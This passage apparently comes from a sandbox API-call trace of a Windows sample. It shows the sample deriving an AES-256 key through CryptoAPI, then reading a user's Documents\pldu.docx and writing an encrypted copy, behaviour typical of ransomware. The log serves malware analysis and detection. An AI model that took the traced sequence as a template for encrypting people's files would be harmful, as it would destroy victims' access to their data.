lpMsg=0xe8f3dfee70) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.783] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.783] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.783] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.783] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.783] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.784] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.784] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.784] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.784] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.784] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.784] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.784] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.784] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.785] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.785] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.785] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.785] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.785] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.785] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.786] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.786] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.786] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.786] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.786] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.786] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.786] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.786] CryptHashData (hHash=0xe8f40623a0, pbData=0xe8f418b7e0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.786] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.786] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.786] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.787] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.787] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.787] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40623a0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062720) returned 1 [0025.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.787] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.787] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.787] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.787] CryptDestroyHash (hHash=0xe8f40623a0) returned 1 [0025.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.789] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\pldu.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\pldu.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.789] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.789] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.789] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0025.790] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\pldu.encrypted.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\pldu.encrypted.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.790] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.790] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.790] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.790] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.791] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.791] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x4d03, lpOverlapped=0x0) returned 1 [0025.792] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.794] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.795] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.795] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.795] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.795] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.795] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.795] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.796] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.796] CryptGetKeyParam (in: hKey=0xe8f4062720, dwParam=0x7, pbData=0xe8f4064b60, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b60*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.796] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.796] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 